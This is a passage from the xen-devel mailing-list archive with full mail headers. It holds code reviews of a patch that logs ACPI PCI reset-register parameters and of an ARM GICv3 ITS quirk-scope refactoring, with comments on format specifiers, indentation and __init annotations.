	wHonXv/9c5cNdPuddBBpM1KVjH/xFcSK0u5Kkn2k6et4WhP+Ank1BRASugv6YOCxcXeoF+Xqj9a
	sCoVAjcCoHE9u4Lze+VaNxpPx/bNh1f47qwVZqlDxXh1K4jBAaU
X-Received: by 2002:a05:6000:250a:b0:47f:9096:3f01 with SMTP id ffacd0b85a97d-47fd33ae7f4mr1763362f8f.22.1785485267919;
        Fri, 31 Jul 2026 01:07:47 -0700 (PDT)
Message-ID: <9aec4b1d-cb47-4229-bc54-3002a311a419@suse.com>
Date: Fri, 31 Jul 2026 10:07:45 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] acpi: reboot: log reset parameters
To: dmukhin@ford.com
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, julien@xen.org,
 michal.orzel@amd.com, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>, sstabellini@kernel.org,
 xen-devel@lists.xenproject.org
References: <20260730001854.905354-2-dmukhin@ford.com>
 <f71e5d41-329e-4859-9744-c390e26bb5f8@suse.com> <amwnolcHTioaRjpe@kraken>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiw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8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <amwnolcHTioaRjpe@kraken>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1785485268-50AD8B50-1E315D1E/0/0
X-purgate-type: clean
X-purgate-size: 1600

On 31.07.2026 06:42, dmukhin@ford.com wrote:
> On Thu, Jul 30, 2026 at 08:26:38AM +0200, Jan Beulich wrote:
>> On 30.07.2026 02:18, dmukhin@ford.com wrote:
>>> --- a/xen/drivers/acpi/reboot.c
>>> +++ b/xen/drivers/acpi/reboot.c
>>> @@ -6,6 +6,7 @@ void acpi_reboot(void)
>>>  {
>>>  	struct acpi_generic_address *rr;
>>>  	u8 reset_value;
>>> +	pci_sbdf_t sbdf;
>>>  
>>>  	rr = &acpi_gbl_FADT.reset_register;
>>>  
>>> @@ -21,17 +22,24 @@ void acpi_reboot(void)
>>>  	 * on a device on bus 0. */
>>>  	switch (rr->space_id) {
>>>  	case ACPI_ADR_SPACE_PCI_CONFIG:
>>> -		printk("Resetting with ACPI PCI RESET_REG.\n");
>>> +		sbdf = PCI_SBDF(0, 0, rr->address >> 32, rr->address >> 16);
>>> +		printk("Resetting with ACPI PCI %pp RESET_REG at 0x%"PRIx64" (0x%x)\n",
>>> +			&sbdf, rr->address & 0xffu, reset_value);
>>
>> As indicated on other occasions - %#x and alike please in favor of 0x%x.
>>
>> I also see no reason for the 'u' suffix on the literal number. Plus if one
>> was wanted, it would want to be 'U', to match the Misra-demanded 'L'.
>>
>> Also - nit: Indentation.
> 
> Thanks for taking a look!
> 
> This file uses tabs - I can convert to spaces, but in separate patch.

That wasn't the point of my remark though. Merely switching to all-blanks
indentation would be wrong. Converting altogether to Xen style would be
an option. My remark was about you not using the necessary mix of tabs
and blanks when the wrapped part of a statement want to align with the
respective part on the earlier line. I.e. here two tabs followed by 7
blanks.

Jan


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 08:25:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 08:25:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378866.1623893 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpiYD-0001Gn-Dn; Fri, 31 Jul 2026 08:25:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378866.1623893; Fri, 31 Jul 2026 08:25:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpiYD-0001Gf-9U; Fri, 31 Jul 2026 08:25:05 +0000
Received: by outflank-mailman (input) for mailman id 1378866;
 Fri, 31 Jul 2026 08:25:03 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wpiYB-0001GZ-DJ
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 08:25:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpiYA-00G6RK-Jr
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 10:25:02 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a6c5bcd-bab6-0a2a0a5309dd-0a2a450a9670-40
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 10:25:02 +0200
Received: from [40.93.196.30]
 (helo=SA9PR02CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a6c5bdc-f2d2-0a2a450a0019-285dc41e77e2-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 10:25:01 +0200
Received: from BLAPR03CA0022.namprd03.prod.outlook.com (2603:10b6:208:32b::27)
 by CY5PR12MB6648.namprd12.prod.outlook.com (2603:10b6:930:3e::9) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.16; Fri, 31 Jul
 2026 08:24:55 +0000
Received: from BN3PEPF0000B36E.namprd21.prod.outlook.com
 (2603:10b6:208:32b:cafe::4c) by BLAPR03CA0022.outlook.office365.com
 (2603:10b6:208:32b::27) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Fri,
 31 Jul 2026 08:24:55 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 BN3PEPF0000B36E.mail.protection.outlook.com (10.167.243.165) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.292.1 via Frontend Transport; Fri, 31 Jul 2026 08:24:55 +0000
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 31 Jul
 2026 03:24:54 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 31 Jul 2026 03:24:53 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=x9Tw29sux+kK0yTyO1OzEOjKJuQV2zyyCFVDrBv12fvzceILw7Tej4tSd7DTWPMl/OZHSRgadB32fbaLVdjrMP1a88CyYuHQW5FP6HwZ+W7iz+VTMPP9h42Ynp6TzBjiYGZI9ySk8ja3HoD3aLeKrat2Ea52LcS8VXHjz0X5lldHvCJhZQnuQtyMDhYIjAtbTzplMkwYPhGJVjsF7z8riWxhMfQOn+nmul9FT1eVpQDMSBbLG7JZMZAWTrpCoCLxxoqZO6ftO47W8R3xqNZmpYRNWdcAi1JysN+DJZhBSmxEWxZrtfkEKtxP7TsyE0QjGlMmHGEzcUbJjqMxiBOx4Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=f6YXh1GsRJ6OGXBZGODLA+/0e0FUR/AkeyB+bVrj8KI=;
 b=WL9+0ZyR6LQ02+ClPqmsNp32tsbdJiz7AGken4GX0Awx+TE67jHylsbv5qz3K0qnDoZ6xaufwQbh9KHt92+EJopLez9hjjnU39LW+NJGp/X05NCP6zfjTUP2och4vn1zSg8k5fTNZH4AlE8lfW9WW9HjSCFZRCKOw2Y8R0BZK1XESrI9Qg/2CKx5uGgp/JllnErjF3lKU8VAC5Fz1CFNriPV0HRIl+lo/jGLDO1AbWJL0Xa68JJP6a9tFaeWKLCXfZiN2DGjLLIbh37aHLKj7Y9XAnnBRNirAObnkqVpUjMJHkmRAiSsb5ZzRASFEE0C9ZTXk/xPFX7neisx2vXMOw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=gmail.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=f6YXh1GsRJ6OGXBZGODLA+/0e0FUR/AkeyB+bVrj8KI=;
 b=pG6u5bqEMghwIYcjGA5JEsJCoCIQpN5u6Ab81NNw2QXCuNXIXYQuD0kZoZjOsN7OJf8Oun4IrpPhjESBHbxJMhn1cMo8hGbOAZVHT3jVm+0FbvttR0pPL3Ezss+R8dYLt8kUUfztMNDN4skSbNgn1EgYvgHT96967ofj2Z181sc=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <d66ed4a6-4f1c-4919-8d81-d59b13364434@amd.com>
Date: Fri, 31 Jul 2026 10:24:47 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 2/4] xen/arm: its: separate ITS and host LPI quirk
 scopes
To: Mykola Kvach <xakep.amatop@gmail.com>, <xen-devel@lists.xenproject.org>
CC: Mykola Kvach <mykola_kvach@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Luca Fancellu <luca.fancellu@arm.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>
References: <cover.1779922874.git.mykola_kvach@epam.com>
 <5edcb9ec3e643133d115f009d0d942869ffb6955.1779922874.git.mykola_kvach@epam.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <5edcb9ec3e643133d115f009d0d942869ffb6955.1779922874.git.mykola_kvach@epam.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BN3PEPF0000B36E:EE_|CY5PR12MB6648:EE_
X-MS-Office365-Filtering-Correlation-Id: d9cf6f31-b56b-41ec-176c-08deeedd337d
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|376014|82310400026|1800799024|23010399003|6133799003|3023799007|56012099006|11063799006|4143699003|10067099003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	W9gctn0qXqvHMm3qvGhDii9tg+bPQWh9PsdrGJGc4wDhU/sKVA3ZyqRTbr9TqTM4eNHhjEAIlU/QEXhU1zE0xn1n3GXK4rZg49KBwdkMr26nUguc7kL8/cI9GZxopp/knkzwipW76LDKuMLkWuwtRsJLn+QnF4jz3mkaKt9lhwLaxFo0LN7b9ejEoQFA3y6JJgKeAeS4Jp/a8cTCvZlodbRbO+kTz1j9wudAJ2PejBtBVbvSyKURzyO9q4qwxy+MNI6UGtcXPl0zTTdt0+3AVojF7n6rClltMiqoVZNXAatXK6H8zE6/61xh4jQ7Z+nulJUiG+0kAb9H6maoOd7Asl+7C1Wk1QyhqL4j9yUYnibqk5ZovNqINFYYpw0o7V/M4EtpLWle9Jz3Gh5Aaj5Blo+Bgr1cwn342qofW4bHcDFrhG1PoXCMeqayZE9woPe73RElKw5U6X0pwWmIEgVRjDB7RC24vE6ZMYRLAYqgUlG6YfXfTK+w6Na9kT6Q43vle30oFQDwr3TXndBafACkTxfNv58Rbu7LNYqcstRMmim8CY5v0qyQAOPxACHNKxCucSEomEO6KDuB1m35Z9CY94OCX+nbpFUAEoVEtwAR6XxLoLzhfqhFLXpL7Zaw/clJfK9A8ILK8rAIHjUHsxdsO4Cu3m+TT80/wRiRBwEvqHNwDJVZL6Ql5MxBoRJ10UrtZD+KGif2jtUDkqQ9zzLM1A==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(36860700016)(376014)(82310400026)(1800799024)(23010399003)(6133799003)(3023799007)(56012099006)(11063799006)(4143699003)(10067099003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	3IiUaUUOddJIjVZ/za24l0MBXc4ZJ4JGkoLR5uKb6C6JWDAwsFQWCKDBUQU0Kbnmm/lSVTUShPgqNKuk5NcnLIeQkYfWal1pO2of9bjdZzxgQqV5ziH9kfxUMx8kAFmzed8zjwMLH8lF9c4zUxHVMRkCjHu5tGHzdezjjh+Mrmiq5+KNDWhmDKVM9mmYAahmxWvwlccXPmMFIXHCfPW4vWknU5cor/ON4n9NP06rMMiQL6xdtHTJb3HDAHAPySFGPQZPFbAa482F2pKsJI/rBSPt54IUIvCYONcw5+S4tgFejti7OTkdjaASndct2tX0j5Tl20/0nUhF/iRhnJ9HQOmmtSD9+Hronq3SMo9/x73uEpzrz/Cp+zxtK94FMs9f0nzRtCH6V8ib1tAgHe5WPJt7Oxx+5XFpbnoFT+IahRKa7Cav7Ak52Xpg6NUSBhQH
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 31 Jul 2026 08:24:55.1773
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: d9cf6f31-b56b-41ec-176c-08deeedd337d
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BN3PEPF0000B36E.namprd21.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CY5PR12MB6648
X-purgate-ID: tlsNG-4011c0/1785486302-536D6CFC-F2EAEBE2/0/0
X-purgate-type: clean
X-purgate-size: 2071



On 28-May-26 02:25, Mykola Kvach wrote:
> From: Mykola Kvach <mykola_kvach@epam.com>
> 
> ITS quirks can impose restrictions on memory accessed by the ITS itself and
> on shared host LPI/Redistributor state. These scopes are not identical, so
> a single global ITS quirk state makes the host LPI policy depend implicitly
> on the quirks seen while initializing host ITSes.
> 
> Add per-ITS quirk_flags to struct host_its and keep a separate
> host_lpi_flags state in the LPI code. The quirk table now records the
> ITS-private and host LPI scopes explicitly through its_flags and lpi_flags.
> The R-Car Gen4 quirk applies the same memory-related restrictions to both
> scopes, preserving the existing behavior without relying on an implicit
> aggregation step.
> 
> This also removes the old assumption that all host ITSes must expose the
> same quirk state. Host LPI restrictions are accumulated only from quirk
> entries that explicitly set lpi_flags.
> 
> Use per-ITS quirk_flags for GITS_CBASER, GITS_BASER<n> and ITT allocations.
> Use host_lpi_flags directly in gic-v3-lpi.c for GICR_PROPBASER and
> GICR_PENDBASER setup. Memory-related quirk bits are named GICV3_QUIRK_MEM_*
> and are translated by shared gicv3_mem_get_*() helpers.
> 
> Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
I already gave R-b for this patch but noticed two issues:

[...]

>  
> -static void gicv3_its_enable_quirks(struct host_its *hw_its)
> +static void __init gicv3_its_collect_quirks(struct host_its *hw_its)
The only caller of gicv3_its_collect_quirks() is
gicv3_its_init_single_its(), which stays non-init until patch 4/4.
Please annotate the caller here as well.

[...]

> @@ -157,6 +164,7 @@ int gicv3_lpi_init_rdist(void __iomem * rdist_base);
>  /* Initialize the host structures for LPIs and the host ITSes. */
>  int gicv3_lpi_init_host_lpis(unsigned int host_lpi_bits);
>  int gicv3_its_init(void);
> +void __init gicv3_lpi_update_host_flags(uint32_t flags);
Please, do not add __init here for a prototype.

~Michal



From xen-devel-bounces@lists.xenproject.org Fri Jul 31 08:34:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 08:34:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378877.1623902 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpihI-00036r-55; Fri, 31 Jul 2026 08:34:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378877.1623902; Fri, 31 Jul 2026 08:34:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpihI-00036k-29; Fri, 31 Jul 2026 08:34:28 +0000
Received: by outflank-mailman (input) for mailman id 1378877;
 Fri, 31 Jul 2026 08:34:26 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wpihG-00036e-Ni
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 08:34:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpihF-008ZZa-6h
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 10:34:25 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a6c5ded-2eae-0a2a0a5409dd-0a2a45038138-44
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 10:34:19 +0200
Received: from [40.93.195.54]
 (helo=SN4PR2101CU001.outbound.protection.outlook.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a6c5e0a-fae8-0a2a45030019-285dc3367fa4-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 10:34:19 +0200
Received: from SJ0PR03CA0268.namprd03.prod.outlook.com (2603:10b6:a03:3a0::33)
 by MN0PR12MB6002.namprd12.prod.outlook.com (2603:10b6:208:37e::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.16; Fri, 31 Jul
 2026 08:34:14 +0000
Received: from SJ1PEPF00001CE8.namprd03.prod.outlook.com
 (2603:10b6:a03:3a0:cafe::5f) by SJ0PR03CA0268.outlook.office365.com
 (2603:10b6:a03:3a0::33) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.15 via Frontend Transport; Fri,
 31 Jul 2026 08:34:14 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 SJ1PEPF00001CE8.mail.protection.outlook.com (10.167.242.24) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.292.8 via Frontend Transport; Fri, 31 Jul 2026 08:34:14 +0000
Received: from Satlexmb09.amd.com (10.181.42.218) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 31 Jul
 2026 03:34:13 -0500
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb09.amd.com
 (10.181.42.218) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 31 Jul
 2026 01:34:13 -0700
Received: from [10.252.145.116] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 31 Jul 2026 03:34:12 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=wTm1c+8l9wYZdUd0jNHodiw8vSW5xsqbv/vMtL5iemCo9kGRbFIhpAK+4bj1lCSYiZy7dmOzkYgkw1e042nZcmuDXuBUMrHfOVBDZZrMRA/AbjOxCuxGcSrUGbYY1rbSZX/YxJ5jqjms9BlQqsuEZGWE3rXl/MB1Ag3IYl2rEjaVIn0poI25/gGU8d+I/m/acITubRJueFa8hhlhiR5KaBxW61m4JP9bsn4z9CKvBXtRW5I0YKmrxe2/Hkd/eYE5G+4z346uPCiyC56n4CTTMYxe/Z2xeMFnwJV1Nq6SqmhUJ4FuLbjE4htM7XepFRzMDowjREPssBRNF8Yr+GZjLw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=QY6AoxBS5FCzgF+JXiAgmQfN4z632/ifD20MJWsvLlI=;
 b=iLLxXB6hzY8uaUCeC/wyevrzqHA8uAz8N94Qm70jJ54ico4b+6tsToQFs67ybVzfDS+c3NQnX05u3QrDsv0xA+VUCG0MQvPuvuaucOK0v9qFxapBBUI37ttUA4RT0VYO0rTRLN7+ViRnLCzCrF89wDlhu7Z9/L/SWVKcTfxoSjaR/ARxlAyEQalWisLTXdJWl+xLWEJM08/EYZlOnBmqd8oGwcWg3sFt5HNuZSPKASwqbO2Hc5/qwCMf1U1VasaECCs5HPSpg3dJTgrRn+hZdEYWreWfLeQThL4S8a9UgZxwekB9Ii/YvWJrx1Tp7Zb4iKJ60I6pkVi53jOoLxV6sA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=gmail.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=QY6AoxBS5FCzgF+JXiAgmQfN4z632/ifD20MJWsvLlI=;
 b=B6haMUAhmaG3EWFBFsYpRwtVFUITrdxeB5ASrnARhT6cL8z/hdrjU5Om90BRUfEWbcibsly5iTpMdopj1Zia1nGhI48Sf+484a7otK4+6VQN4PDbXRrGu0hIdv8aBlEcO3lxJHg4xi/zFYq1oggh+t4E9YbiXtNGlTvg3o7JHsI=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <22e10198-10d4-4343-9286-989d994b021f@amd.com>
Date: Fri, 31 Jul 2026 10:34:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 3/4] xen/arm: its: refactor ITS quirk matching
To: Mykola Kvach <xakep.amatop@gmail.com>, <xen-devel@lists.xenproject.org>
CC: Mykola Kvach <mykola_kvach@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Luca Fancellu <luca.fancellu@arm.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>
References: <cover.1779922874.git.mykola_kvach@epam.com>
 <df3219d050b32a406b3eb787c55a42785aa25379.1779922874.git.mykola_kvach@epam.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <df3219d050b32a406b3eb787c55a42785aa25379.1779922874.git.mykola_kvach@epam.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ1PEPF00001CE8:EE_|MN0PR12MB6002:EE_
X-MS-Office365-Filtering-Correlation-Id: 1636a5ea-cdb2-4fcf-c70c-08deeede80b6
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|23010399003|376014|1800799024|82310400026|56012099006|11063799006|4143699003|6133799003|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
